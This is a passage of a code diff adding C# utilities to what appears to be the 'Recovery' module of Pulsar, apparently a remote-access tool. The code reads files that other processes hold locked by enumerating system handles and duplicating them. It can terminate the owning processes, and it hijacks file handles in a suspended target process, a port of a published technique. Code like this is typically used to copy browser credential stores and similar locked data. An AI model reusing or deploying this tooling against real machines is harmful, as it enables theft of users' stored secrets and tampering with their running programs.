}
|
||||
|
||||
public static byte[] ReadFileBytesFromHandle(IntPtr handle)
|
||||
{
|
||||
uint PAGE_READONLY = 0x02;
|
||||
uint FILE_MAP_READ = 0x04;
|
||||
IntPtr fileMapping = NativeMethodsXeno.CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
|
||||
if (fileMapping == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!NativeMethodsXeno.GetFileSizeEx(handle, out ulong fileSize))
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(fileMapping);
|
||||
return null;
|
||||
}
|
||||
|
||||
IntPtr BaseAddress = NativeMethodsXeno.MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
|
||||
if (BaseAddress == IntPtr.Zero)
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(fileMapping);
|
||||
return null;
|
||||
}
|
||||
|
||||
byte[] FileData = new byte[fileSize];
|
||||
|
||||
Marshal.Copy(BaseAddress, FileData, 0, (int)fileSize);
|
||||
|
||||
NativeMethodsXeno.UnmapViewOfFile(BaseAddress);
|
||||
NativeMethodsXeno.CloseHandle(fileMapping);
|
||||
|
||||
return FileData;
|
||||
}
|
||||
|
||||
public static bool KillProcess(int pid, uint exitcode = 0)
|
||||
{
|
||||
uint PROCESS_TERMINATE = 0x0001;
|
||||
IntPtr ProcessHandle = NativeMethodsXeno.OpenProcess(PROCESS_TERMINATE, false, (uint)pid);
|
||||
if (ProcessHandle == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
bool result = NativeMethodsXeno.TerminateProcess(ProcessHandle, exitcode);
|
||||
NativeMethodsXeno.CloseHandle(ProcessHandle);
|
||||
return result;
|
||||
}
|
||||
|
||||
public static string ForceReadFileString(string filePath, bool killOwningProcessIfCouldntAquire = false)
|
||||
{
|
||||
byte[] fileContent = ForceReadFile(filePath, killOwningProcessIfCouldntAquire);
|
||||
if (fileContent == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
return Encoding.UTF8.GetString(fileContent);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static bool GetProcessLockingFile(string filePath, out int[] process)
|
||||
{
|
||||
process = null;
|
||||
uint ERROR_MORE_DATA = 0xEA;
|
||||
|
||||
string key = Guid.NewGuid().ToString();
|
||||
if (NativeMethodsXeno.RmStartSession(out uint SessionHandle, 0, key) != 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
string[] resourcesToCheckAgaist = new string[] { filePath };
|
||||
if (NativeMethodsXeno.RmRegisterResources(SessionHandle, (uint)resourcesToCheckAgaist.Length, resourcesToCheckAgaist, 0, null, 0, null) != 0)
|
||||
{
|
||||
NativeMethodsXeno.RmEndSession(SessionHandle);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
while (true)
|
||||
{
|
||||
uint nProcInfo = 0;
|
||||
uint status = NativeMethodsXeno.RmGetList(SessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out RM_REBOOT_REASON RebootReasions);
|
||||
if (status != ERROR_MORE_DATA)
|
||||
{
|
||||
NativeMethodsXeno.RmEndSession(SessionHandle);
|
||||
process = new int[0];
|
||||
return true;
|
||||
}
|
||||
uint oldnProcInfoNeeded = nProcInfoNeeded;
|
||||
RM_PROCESS_INFO[] AffectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
|
||||
nProcInfo = nProcInfoNeeded;
|
||||
status = NativeMethodsXeno.RmGetList(SessionHandle, out nProcInfoNeeded, ref nProcInfo, AffectedApps, out RebootReasions);
|
||||
if (status == 0)
|
||||
{
|
||||
process = new int[AffectedApps.Length];
|
||||
for (int i = 0; i < AffectedApps.Length; i++)
|
||||
{
|
||||
process[i] = (int)AffectedApps[i].Process.dwProcessId;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if (oldnProcInfoNeeded != nProcInfoNeeded)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
NativeMethodsXeno.RmEndSession(SessionHandle);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
NativeMethodsXeno.RmEndSession(SessionHandle);
|
||||
return true;
|
||||
}
|
||||
|
||||
public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfCouldntAquire = false)
|
||||
{
|
||||
try
|
||||
{
|
||||
return File.ReadAllBytes(filePath);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
if (e.HResult != -2147024864) //this is the error for if the file is being used by another process
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
bool Pidless = false;
|
||||
|
||||
if (!GetProcessLockingFile(filePath, out int[] process))
|
||||
{
|
||||
Pidless = true;
|
||||
}
|
||||
|
||||
uint dwSize = 0;
|
||||
uint status = 0;
|
||||
uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
|
||||
|
||||
|
||||
int HandleStructSize = Marshal.SizeOf(typeof(InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));
|
||||
|
||||
IntPtr pInfo = Marshal.AllocHGlobal(HandleStructSize);
|
||||
do
|
||||
{
|
||||
status = NativeMethodsXeno.NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, pInfo, dwSize, out dwSize);
|
||||
if (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
|
||||
}
|
||||
} while (status != 0);
|
||||
|
||||
|
||||
//ULONG_PTR NumberOfHandles;
|
||||
//ULONG_PTR Reserved;
|
||||
//SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
|
||||
|
||||
IntPtr pInfoBackup = pInfo;
|
||||
|
||||
ulong NumOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
|
||||
|
||||
pInfo += 2 * IntPtr.Size;//skip past the number of handles and the reserved and start at the handles.
|
||||
|
||||
byte[] result = null;
|
||||
|
||||
for (ulong i = 0; i < NumOfHandles; i++)
|
||||
{
|
||||
InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleInfo = Marshal.PtrToStructure<InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(pInfo + (int)(i * (uint)HandleStructSize));
|
||||
|
||||
|
||||
if (!Pidless && !process.Contains((int)(uint)HandleInfo.UniqueProcessId))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
if (DupHandle((int)HandleInfo.UniqueProcessId, (IntPtr)(ulong)HandleInfo.HandleValue, out IntPtr duppedHandle))
|
||||
{
|
||||
if (NativeMethodsXeno.GetFileType(duppedHandle) != InternalStructsXeno.FileType.FILE_TYPE_DISK)
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(duppedHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
string name = GetPathFromHandle(duppedHandle);
|
||||
|
||||
if (name == null)
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(duppedHandle);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (name.StartsWith("\\\\?\\"))
|
||||
{
|
||||
name = name.Substring(4);
|
||||
}
|
||||
|
||||
if (name == filePath)
|
||||
{
|
||||
result = ReadFileBytesFromHandle(duppedHandle);
|
||||
NativeMethodsXeno.CloseHandle(duppedHandle);
|
||||
if (result != null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
NativeMethodsXeno.CloseHandle(duppedHandle);
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
Marshal.FreeHGlobal(pInfoBackup);
|
||||
|
||||
if (result == null && killOwningProcessIfCouldntAquire)
|
||||
{
|
||||
foreach (int i in process)
|
||||
{
|
||||
KillProcess(i);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
result = File.ReadAllBytes(filePath);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
//AI translated C code. https://web.archive.org/web/20240122161954/https://www.x86matthew.com/view_post?id=hijack_file_handle
|
||||
public static bool GetFileHandleObjectType(out uint pdwFileHandleObjectType)
|
||||
{
|
||||
pdwFileHandleObjectType = 0;
|
||||
|
||||
// get the file path of the current exe
|
||||
string szPath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
|
||||
|
||||
// open the current exe
|
||||
IntPtr hFile = NativeMethodsXeno.CreateFileW(szPath, NativeMethodsXeno.GENERIC_READ, NativeMethodsXeno.FILE_SHARE_READ, IntPtr.Zero, NativeMethodsXeno.OPEN_EXISTING, 0, IntPtr.Zero);
|
||||
if (hFile == NativeMethodsXeno.INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// take a snapshot of the system handle list
|
||||
if (GetSystemHandleList() != 0)
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(hFile);
|
||||
return false;
|
||||
}
|
||||
|
||||
// close the temporary file handle
|
||||
NativeMethodsXeno.CloseHandle(hFile);
|
||||
|
||||
// find the temporary file handle in the previous snapshot
|
||||
if (!pGlobal_SystemHandleInfo.HasValue)
|
||||
return false;
|
||||
|
||||
var handleInfo = pGlobal_SystemHandleInfo.Value;
|
||||
int handleCount = (int)handleInfo.NumberOfHandles;
|
||||
IntPtr handleListPtr = pGlobal_SystemHandleInfoBuffer + 2 * IntPtr.Size;
|
||||
|
||||
for (int i = 0; i < handleCount; i++)
|
||||
{
|
||||
var entry = Marshal.PtrToStructure<InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handleListPtr + i * Marshal.SizeOf<InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>());
|
||||
|
||||
// check if the process ID is correct
|
||||
if (entry.UniqueProcessId == (UIntPtr)NativeMethodsXeno.GetCurrentProcessId())
|
||||
{
|
||||
// check if the handle index is correct
|
||||
if (entry.HandleValue == (UIntPtr)(ulong)hFile)
|
||||
{
|
||||
// store the file handle object type index
|
||||
pdwFileHandleObjectType = entry.ObjectTypeIndex;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ensure the file handle object type was found
|
||||
return false;
|
||||
}
|
||||
|
||||
private static int GetSystemHandleList()
|
||||
{
|
||||
uint dwAllocSize = 0;
|
||||
uint dwStatus = 0;
|
||||
uint dwLength = 0;
|
||||
IntPtr pSystemHandleInfoBuffer = IntPtr.Zero;
|
||||
|
||||
// free previous handle info list (if one exists)
|
||||
if (pGlobal_SystemHandleInfo != null)
|
||||
{
|
||||
// Note: In C# we can't directly free like in C++, but we'll reuse
|
||||
}
|
||||
|
||||
// get system handle list
|
||||
dwAllocSize = 0;
|
||||
for (;;)
|
||||
{
|
||||
if (pSystemHandleInfoBuffer != IntPtr.Zero)
|
||||
{
|
||||
// free previous inadequately sized buffer
|
||||
Marshal.FreeHGlobal(pSystemHandleInfoBuffer);
|
||||
pSystemHandleInfoBuffer = IntPtr.Zero;
|
||||
}
|
||||
|
||||
if (dwAllocSize != 0)
|
||||
{
|
||||
// allocate new buffer
|
||||
pSystemHandleInfoBuffer = Marshal.AllocHGlobal((int)dwAllocSize);
|
||||
if (pSystemHandleInfoBuffer == IntPtr.Zero)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// get system handle list
|
||||
dwStatus = NativeMethodsXeno.NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, pSystemHandleInfoBuffer, dwAllocSize, out dwLength);
|
||||
if (dwStatus == 0)
|
||||
{
|
||||
// success
|
||||
break;
|
||||
}
|
||||
else if (dwStatus == 0xC0000004) // STATUS_INFO_LENGTH_MISMATCH
|
||||
{
|
||||
// not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks)
|
||||
dwAllocSize = (dwLength + 1024);
|
||||
}
|
||||
else
|
||||
{
|
||||
// other error
|
||||
if (pSystemHandleInfoBuffer != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(pSystemHandleInfoBuffer);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// store handle info ptr
|
||||
pGlobal_SystemHandleInfo = (InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX)Marshal.PtrToStructure(pSystemHandleInfoBuffer, typeof(InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX));
|
||||
pGlobal_SystemHandleInfoBuffer = pSystemHandleInfoBuffer;
|
||||
|
||||
// Note: We keep the buffer allocated for later use
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static bool ReplaceFileHandle(IntPtr hTargetProcess, IntPtr hExistingRemoteHandle, IntPtr hReplaceLocalHandle)
|
||||
{
|
||||
IntPtr hClonedFileHandle = IntPtr.Zero;
|
||||
IntPtr hRemoteReplacedHandle = IntPtr.Zero;
|
||||
|
||||
const uint DUPLICATE_CLOSE_SOURCE = 0x00000001;
|
||||
const uint DUPLICATE_SAME_ACCESS = 0x00000002;
|
||||
|
||||
// close remote file handle
|
||||
if (!NativeMethodsXeno.DuplicateHandle(hTargetProcess, hExistingRemoteHandle, NativeMethodsXeno.GetCurrentProcess(), ref hClonedFileHandle, 0, false, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// close cloned file handle
|
||||
NativeMethodsXeno.CloseHandle(hClonedFileHandle);
|
||||
|
||||
// duplicate local file handle into remote process
|
||||
if (!NativeMethodsXeno.DuplicateHandle(NativeMethodsXeno.GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, ref hRemoteReplacedHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// ensure that the new remote handle matches the original value
|
||||
if (hRemoteReplacedHandle != hExistingRemoteHandle)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public static bool HijackFileHandle(int dwTargetPID, string pTargetFileName, IntPtr hReplaceLocalHandle)
|
||||
{
|
||||
IntPtr hProcess = IntPtr.Zero;
|
||||
IntPtr hClonedFileHandle = IntPtr.Zero;
|
||||
uint dwFileHandleObjectType = 0;
|
||||
int dwThreadExitCode = 0;
|
||||
int dwThreadID = 0;
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
|
||||
string pLastSlash = null;
|
||||
int dwHijackCount = 0;
|
||||
|
||||
const uint PROCESS_DUP_HANDLE = 0x0040;
|
||||
const uint PROCESS_SUSPEND_RESUME = 0x800;
|
||||
|
||||
// calculate the object type index for file handles on this system
|
||||
if (!GetFileHandleObjectType(out dwFileHandleObjectType))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
Console.WriteLine($"Opening process: {dwTargetPID}...");
|
||||
|
||||
// open target process
|
||||
hProcess = NativeMethodsXeno.OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, false, (uint)dwTargetPID);
|
||||
if (hProcess == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// suspend target process
|
||||
if (NativeMethodsXeno.NtSuspendProcess(hProcess) != 0)
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
// get system handle list
|
||||
if (GetSystemHandleList() != 0)
|
||||
{
|
||||
NativeMethodsXeno.NtResumeProcess(hProcess);
|
||||
NativeMethodsXeno.CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!pGlobal_SystemHandleInfo.HasValue)
|
||||
{
|
||||
NativeMethodsXeno.NtResumeProcess(hProcess);
|
||||
NativeMethodsXeno.CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
var handleInfo = pGlobal_SystemHandleInfo.Value;
|
||||
int handleCount = (int)handleInfo.NumberOfHandles;
|
||||
IntPtr handleListPtr = pGlobal_SystemHandleInfoBuffer + 2 * IntPtr.Size;
|
||||
|
||||
for (int i = 0; i < handleCount; i++)
|
||||
{
|
||||
var entry = Marshal.PtrToStructure<InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handleListPtr + i * Marshal.SizeOf<InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>());
|
||||
|
||||
// ensure this handle is a file handle object
|
||||
if (entry.ObjectTypeIndex != dwFileHandleObjectType)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// ensure this handle is in the target process
|
||||
if ((uint)entry.UniqueProcessId != (uint)dwTargetPID)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// clone file handle
|
||||
if (!DupHandle((int)(uint)entry.UniqueProcessId, (IntPtr)(ulong)entry.HandleValue, out hClonedFileHandle))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// get the file path of the current handle - do this in a new thread to prevent deadlocks
|
||||
GetFileHandlePathThreadParam = new GetFileHandlePathThreadParamStruct();
|
||||
GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
|
||||
|
||||
// Note: In C# we can't easily create threads with the same signature, so we'll do it synchronously for now
|
||||
string path = GetFileHandlePathFromThread(hClonedFileHandle);
|
||||
|
||||
// close cloned file handle
|
||||
NativeMethodsXeno.CloseHandle(hClonedFileHandle);
|
||||
|
||||
if (path == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// get last slash in path
|
||||
pLastSlash = path.LastIndexOf('\\') >= 0 ? path.Substring(path.LastIndexOf('\\') + 1) : path;
|
||||
|
||||
// check if this is the target filename
|
||||
if (string.Compare(pLastSlash, pTargetFileName, StringComparison.OrdinalIgnoreCase) != 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// found matching filename
|
||||
Console.WriteLine($"Found remote file handle: \"{path}\" (Handle ID: 0x{entry.HandleValue:X})");
|
||||
dwHijackCount++;
|
||||
|
||||
// replace the remote file handle
|
||||
if (ReplaceFileHandle(hProcess, (IntPtr)(ulong)entry.HandleValue, hReplaceLocalHandle))
|
||||
{
|
||||
// handle replaced successfully
|
||||
Console.WriteLine("Remote file handle hijacked successfully\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
// failed to hijack handle
|
||||
Console.WriteLine("Failed to hijack remote file handle\n");
|
||||
}
|
||||
}
|
||||
|
||||
// resume process
|
||||
if (NativeMethodsXeno.NtResumeProcess(hProcess) != 0)
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
// clean up
|
||||
NativeMethodsXeno.CloseHandle(hProcess);
|
||||
|
||||
// ensure at least one matching file handle was found
|
||||
if (dwHijackCount == 0)
|
||||
{
|
||||
Console.WriteLine("No matching file handles found");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public static bool CloneFileByHandleHijacking(string sourceFilePath, string destinationFilePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
// First, try to copy the file normally
|
||||
File.Copy(sourceFilePath, destinationFilePath, true);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// File is locked, try handle hijacking approach
|
||||
}
|
||||
|
||||
// Get processes locking the file
|
||||
if (!GetProcessLockingFile(sourceFilePath, out int[] lockingProcesses))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (lockingProcesses.Length == 0)
|
||||
{
|
||||
// No locking processes, should have worked above
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create the destination file
|
||||
IntPtr hDestFile = NativeMethodsXeno.CreateFileW(destinationFilePath, NativeMethodsXeno.GENERIC_READ | NativeMethodsXeno.GENERIC_WRITE, NativeMethodsXeno.FILE_SHARE_READ | NativeMethodsXeno.FILE_SHARE_WRITE, IntPtr.Zero, 2 /* CREATE_ALWAYS */, 0, IntPtr.Zero);
|
||||
if (hDestFile == NativeMethodsXeno.INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// Copy the current content
|
||||
byte[] sourceContent = ForceReadFile(sourceFilePath, false);
|
||||
if (sourceContent != null)
|
||||
{
|
||||
using (FileStream fs = new FileStream(destinationFilePath, FileMode.Create))
|
||||
{
|
||||
fs.Write(sourceContent, 0, sourceContent.Length);
|
||||
}
|
||||
}
|
||||
|
||||
// Now hijack handles in each locking process
|
||||
string fileName = Path.GetFileName(sourceFilePath);
|
||||
bool success = true;
|
||||
|
||||
foreach (int pid in lockingProcesses)
|
||||
{
|
||||
if (!HijackFileHandle(pid, fileName, hDestFile))
|
||||
{
|
||||
success = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
finally
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(hDestFile);
|
||||
}
|
||||
}
|
||||
|
||||
private struct GetFileHandlePathThreadParamStruct
|
||||
{
|
||||
public IntPtr hFile;
|
||||
public string szPath;
|
||||
}
|
||||
|
||||
private static string GetFileHandlePathFromThread(IntPtr hFile)
|
||||
{
|
||||
const int FILE_NAME_INFORMATION_SIZE = 2048;
|
||||
IntPtr bFileInfoBuffer = Marshal.AllocHGlobal(FILE_NAME_INFORMATION_SIZE);
|
||||
InternalStructsXeno.IO_STATUS_BLOCK IoStatusBlock = new InternalStructsXeno.IO_STATUS_BLOCK();
|
||||
|
||||
try
|
||||
{
|
||||
uint status = NativeMethodsXeno.NtQueryInformationFile(hFile, ref IoStatusBlock, bFileInfoBuffer, (uint)FILE_NAME_INFORMATION_SIZE, InternalStructsXeno.FileNameInformation);
|
||||
if (status != 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
uint fileNameLength = (uint)Marshal.ReadInt32(bFileInfoBuffer);
|
||||
|
||||
// validate filename length
|
||||
if (fileNameLength >= FILE_NAME_INFORMATION_SIZE - 4)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
// convert file path to string
|
||||
byte[] fileNameBytes = new byte[fileNameLength];
|
||||
Marshal.Copy(bFileInfoBuffer + 4, fileNameBytes, 0, (int)fileNameLength);
|
||||
string fileName = Encoding.Unicode.GetString(fileNameBytes);
|
||||
|
||||
return fileName;
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(bFileInfoBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static Pulsar.Client.Recovery.Utilities.Xeno.InternalStructsXeno;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Utilities.Xeno
|
||||
{
|
||||
public static class NativeMethodsXeno
|
||||
{
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(IntPtr hProcess);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
uint dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
uint dwOptions
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")]
|
||||
private static extern int _NtQueryPbi32(
|
||||
IntPtr ProcessHandle,
|
||||
InternalStructsXeno.PROCESSINFOCLASS ProcessInformationClass,
|
||||
ref InternalStructsXeno.PROCESS_BASIC_INFORMATION ProcessInformation,
|
||||
uint BufferSize,
|
||||
ref uint NumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern InternalStructsXeno.FileType GetFileType(IntPtr hFile);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern uint GetFinalPathNameByHandleW(IntPtr hFile, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
public static extern IntPtr CreateFileMappingA(IntPtr hFile, IntPtr lpFileMappingAttributes, uint flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, string lpName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetFileSizeEx(IntPtr hFile, out ulong FileSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, UIntPtr dwNumberOfBytesToMap);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern uint NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, out uint ReturnLength);
|
||||
|
||||
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern uint RmRegisterResources(uint dwSessionHandle, uint nFiles, string[] rgsFileNames, uint nApplications, RM_UNIQUE_PROCESS[] rgApplications, uint nServices, string[] rgsServiceNames);
|
||||
|
||||
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern uint RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);
|
||||
|
||||
[DllImport("rstrtmgr.dll", SetLastError = true)]
|
||||
public static extern uint RmEndSession(uint pSessionHandle);
|
||||
|
||||
[DllImport("rstrtmgr.dll", SetLastError = true)]
|
||||
public static extern uint RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RM_PROCESS_INFO[] rgAffectedApps, out InternalStructsXeno.RM_REBOOT_REASON lpdwRebootReasons);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern uint NtQueryInformationFile(IntPtr FileHandle, ref IO_STATUS_BLOCK IoStatusBlock, IntPtr FileInformation, uint Length, uint FileInformationClass);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern uint NtSuspendProcess(IntPtr ProcessHandle);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern uint NtResumeProcess(IntPtr ProcessHandle);
|
||||
|
||||
public const uint GENERIC_READ = 0x80000000;
|
||||
public const uint GENERIC_WRITE = 0x40000000;
|
||||
public const uint FILE_SHARE_READ = 0x00000001;
|
||||
public const uint FILE_SHARE_WRITE = 0x00000002;
|
||||
public const uint OPEN_EXISTING = 3;
|
||||
public static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetCurrentProcessId();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user